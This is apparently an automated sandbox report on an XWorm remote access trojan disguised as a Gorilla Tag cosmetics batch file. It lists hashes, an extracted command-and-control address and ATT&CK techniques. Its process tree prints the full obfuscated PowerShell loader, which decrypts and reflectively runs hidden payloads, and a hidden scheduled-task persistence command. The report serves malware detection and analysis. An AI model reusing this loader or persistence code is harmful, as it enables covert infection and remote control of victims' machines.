xworm | 6a742c075c1099f98e1fe68d4049dbed84ee8015ad349cbe78e0fe969c841a7e

Analysis

max time kernel
1712s
max time network
1158s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
14-10-2024 00:52

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General

Target

ss cosmeticx for gtag steam.bat
Size

294KB
MD5

be47f172f3f7ea7f36bcc6dcb6a410f2
SHA1

8da368d5baf6a818ad6148e43a2b7f69b8a56664
SHA256

6a742c075c1099f98e1fe68d4049dbed84ee8015ad349cbe78e0fe969c841a7e
SHA512

b2f43c4676dd0a0ef0452c48f17cdf849f4e8765afbc122deeca08a15a487be2c4c8072e2c2ff02367cb6130a0482817f92ceb117f6ec6c9651630ec77fca68d
SSDEEP

6144:Xt99Rt0+CSyli/VEb/ZOeTbaRuA6m/BvRj8UnJfDRDJkGfVD626QTLDC4uQ:XtrRtiyeNa8AOuDRDJPND6KN

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

147.185.221.23:13469

Attributes

Install_directory
%AppData%
install_file
USB.exe

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral1/memory/4492-49-0x0000016DF6310000-0x0000016DF6328000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Blocklisted process makes network request 1 IoCs

flow	pid	Process
15	4492	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4016	powershell.exe
4696	powershell.exe
4492	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	WScript.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
14	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4016	powershell.exe
4016	powershell.exe
4696	powershell.exe
4696	powershell.exe
4492	powershell.exe
4492	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4016	powershell.exe
Token: SeDebugPrivilege	4696	powershell.exe
Token: SeIncreaseQuotaPrivilege	4696	powershell.exe
Token: SeSecurityPrivilege	4696	powershell.exe
Token: SeTakeOwnershipPrivilege	4696	powershell.exe
Token: SeLoadDriverPrivilege	4696	powershell.exe
Token: SeSystemProfilePrivilege	4696	powershell.exe
Token: SeSystemtimePrivilege	4696	powershell.exe
Token: SeProfSingleProcessPrivilege	4696	powershell.exe
Token: SeIncBasePriorityPrivilege	4696	powershell.exe
Token: SeCreatePagefilePrivilege	4696	powershell.exe
Token: SeBackupPrivilege	4696	powershell.exe
Token: SeRestorePrivilege	4696	powershell.exe
Token: SeShutdownPrivilege	4696	powershell.exe
Token: SeDebugPrivilege	4696	powershell.exe
Token: SeSystemEnvironmentPrivilege	4696	powershell.exe
Token: SeRemoteShutdownPrivilege	4696	powershell.exe
Token: SeUndockPrivilege	4696	powershell.exe
Token: SeManageVolumePrivilege	4696	powershell.exe
Token: 33	4696	powershell.exe
Token: 34	4696	powershell.exe
Token: 35	4696	powershell.exe
Token: 36	4696	powershell.exe
Token: SeIncreaseQuotaPrivilege	4696	powershell.exe
Token: SeSecurityPrivilege	4696	powershell.exe
Token: SeTakeOwnershipPrivilege	4696	powershell.exe
Token: SeLoadDriverPrivilege	4696	powershell.exe
Token: SeSystemProfilePrivilege	4696	powershell.exe
Token: SeSystemtimePrivilege	4696	powershell.exe
Token: SeProfSingleProcessPrivilege	4696	powershell.exe
Token: SeIncBasePriorityPrivilege	4696	powershell.exe
Token: SeCreatePagefilePrivilege	4696	powershell.exe
Token: SeBackupPrivilege	4696	powershell.exe
Token: SeRestorePrivilege	4696	powershell.exe
Token: SeShutdownPrivilege	4696	powershell.exe
Token: SeDebugPrivilege	4696	powershell.exe
Token: SeSystemEnvironmentPrivilege	4696	powershell.exe
Token: SeRemoteShutdownPrivilege	4696	powershell.exe
Token: SeUndockPrivilege	4696	powershell.exe
Token: SeManageVolumePrivilege	4696	powershell.exe
Token: 33	4696	powershell.exe
Token: 34	4696	powershell.exe
Token: 35	4696	powershell.exe
Token: 36	4696	powershell.exe
Token: SeIncreaseQuotaPrivilege	4696	powershell.exe
Token: SeSecurityPrivilege	4696	powershell.exe
Token: SeTakeOwnershipPrivilege	4696	powershell.exe
Token: SeLoadDriverPrivilege	4696	powershell.exe
Token: SeSystemProfilePrivilege	4696	powershell.exe
Token: SeSystemtimePrivilege	4696	powershell.exe
Token: SeProfSingleProcessPrivilege	4696	powershell.exe
Token: SeIncBasePriorityPrivilege	4696	powershell.exe
Token: SeCreatePagefilePrivilege	4696	powershell.exe
Token: SeBackupPrivilege	4696	powershell.exe
Token: SeRestorePrivilege	4696	powershell.exe
Token: SeShutdownPrivilege	4696	powershell.exe
Token: SeDebugPrivilege	4696	powershell.exe
Token: SeSystemEnvironmentPrivilege	4696	powershell.exe
Token: SeRemoteShutdownPrivilege	4696	powershell.exe
Token: SeUndockPrivilege	4696	powershell.exe
Token: SeManageVolumePrivilege	4696	powershell.exe
Token: 33	4696	powershell.exe
Token: 34	4696	powershell.exe
Token: 35	4696	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 1968 wrote to memory of 4016	1968	cmd.exe	87
PID 1968 wrote to memory of 4016	1968	cmd.exe	87
PID 4016 wrote to memory of 4696	4016	powershell.exe	88
PID 4016 wrote to memory of 4696	4016	powershell.exe	88
PID 4016 wrote to memory of 3024	4016	powershell.exe	91
PID 4016 wrote to memory of 3024	4016	powershell.exe	91
PID 3024 wrote to memory of 1372	3024	WScript.exe	92
PID 3024 wrote to memory of 1372	3024	WScript.exe	92
PID 1372 wrote to memory of 4492	1372	cmd.exe	94
PID 1372 wrote to memory of 4492	1372	cmd.exe	94

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\ss cosmeticx for gtag steam.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1968
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MgnuZSzTu17Yhp4hwWzsvhgscLHcnyZMocvwuy+MWdw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SIukVXrNvfVq6KjuHyZRLw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $arePn=New-Object System.IO.MemoryStream(,$param_var); $NTyMA=New-Object System.IO.MemoryStream; $qjyXc=New-Object System.IO.Compression.GZipStream($arePn, [IO.Compression.CompressionMode]::Decompress); $qjyXc.CopyTo($NTyMA); $qjyXc.Dispose(); $arePn.Dispose(); $NTyMA.Dispose(); $NTyMA.ToArray();}function execute_function($param_var,$param2_var){ $iTabt=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $pdcBA=$iTabt.EntryPoint; $pdcBA.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\ss cosmeticx for gtag steam.bat';$avPbU=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\ss cosmeticx for gtag steam.bat').Split([Environment]::NewLine);foreach ($TtrAP in $avPbU) { if ($TtrAP.StartsWith(':: ')) { $neJKQ=$TtrAP.Substring(3); break; }}$payloads_var=[string[]]$neJKQ.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4016
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_713_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_713.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4696
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_713.vbs"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:3024
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_713.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1372
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MgnuZSzTu17Yhp4hwWzsvhgscLHcnyZMocvwuy+MWdw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SIukVXrNvfVq6KjuHyZRLw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $arePn=New-Object System.IO.MemoryStream(,$param_var); $NTyMA=New-Object System.IO.MemoryStream; $qjyXc=New-Object System.IO.Compression.GZipStream($arePn, [IO.Compression.CompressionMode]::Decompress); $qjyXc.CopyTo($NTyMA); $qjyXc.Dispose(); $arePn.Dispose(); $NTyMA.Dispose(); $NTyMA.ToArray();}function execute_function($param_var,$param2_var){ $iTabt=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $pdcBA=$iTabt.EntryPoint; $pdcBA.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_713.bat';$avPbU=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_713.bat').Split([Environment]::NewLine);foreach ($TtrAP in $avPbU) { if ($TtrAP.StartsWith(':: ')) { $neJKQ=$TtrAP.Substring(3); break; }}$payloads_var=[string[]]$neJKQ.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4492

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
661739d384d9dfd807a089721202900b

SHA1
5b2c5d6a7122b4ce849dc98e79a7713038feac55

SHA256
70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf

SHA512
81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
5753571cfc81f894ff82dc383591df11

SHA1
54dff38cbb912d61f7f2035f97d4dd75cb1a9f04

SHA256
c729a5004a163727dcc457585cd06d0ddee9c4a80327bd97383d08fd8ce413bf

SHA512
83483e2b4a2ffc2a7f7d38160d3e28f0fbeeac30563f57c8d5a6a9b32069a67ddddfb823c9ff1ae8fd057dfc53b8c8e43e58e0ca5907487b472e3152d21e1fb6

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_oug0n4co.v3t.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_713.bat

Filesize
294KB

MD5
be47f172f3f7ea7f36bcc6dcb6a410f2

SHA1
8da368d5baf6a818ad6148e43a2b7f69b8a56664

SHA256
6a742c075c1099f98e1fe68d4049dbed84ee8015ad349cbe78e0fe969c841a7e

SHA512
b2f43c4676dd0a0ef0452c48f17cdf849f4e8765afbc122deeca08a15a487be2c4c8072e2c2ff02367cb6130a0482817f92ceb117f6ec6c9651630ec77fca68d

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_713.vbs

Filesize
115B

MD5
79c4f997290c98d5d91a8415d3d3076a

SHA1
2c0cf17ef5d0759f5b6ad809d543d46e1e15ce2d

SHA256
3b9fc4c5457b3ae8527625d5193335387e051e089ba9a1e73864d85125f7c2a2

SHA512
e5f74ef778e383aaa462c16b0e221374f677c369035622409a1fd11cf377f0fbc72276550867014fee7049ec7ecefb395210827140d9175d9cb1f06edd19ba11

Download Submit
memory/4016-12-0x00007FF8FC3C0000-0x00007FF8FCE81000-memory.dmp

Filesize
10.8MB

Download
memory/4016-14-0x0000015A501A0000-0x0000015A501DA000-memory.dmp

Filesize
232KB

Download
memory/4016-13-0x0000015A4FF40000-0x0000015A4FF48000-memory.dmp

Filesize
32KB

Download
memory/4016-0-0x00007FF8FC3C3000-0x00007FF8FC3C5000-memory.dmp

Filesize
8KB

Download
memory/4016-11-0x00007FF8FC3C0000-0x00007FF8FCE81000-memory.dmp

Filesize
10.8MB

Download
memory/4016-6-0x0000015A4FF70000-0x0000015A4FF92000-memory.dmp

Filesize
136KB

Download
memory/4016-50-0x00007FF8FC3C0000-0x00007FF8FCE81000-memory.dmp

Filesize
10.8MB

Download
memory/4492-49-0x0000016DF6310000-0x0000016DF6328000-memory.dmp

Filesize
96KB

Download
memory/4696-16-0x00007FF8FC3C0000-0x00007FF8FCE81000-memory.dmp

Filesize
10.8MB

Download
memory/4696-26-0x00007FF8FC3C0000-0x00007FF8FCE81000-memory.dmp

Filesize
10.8MB

Download
memory/4696-27-0x00007FF8FC3C0000-0x00007FF8FCE81000-memory.dmp

Filesize
10.8MB

Download
memory/4696-30-0x00007FF8FC3C0000-0x00007FF8FCE81000-memory.dmp

Filesize
10.8MB

Download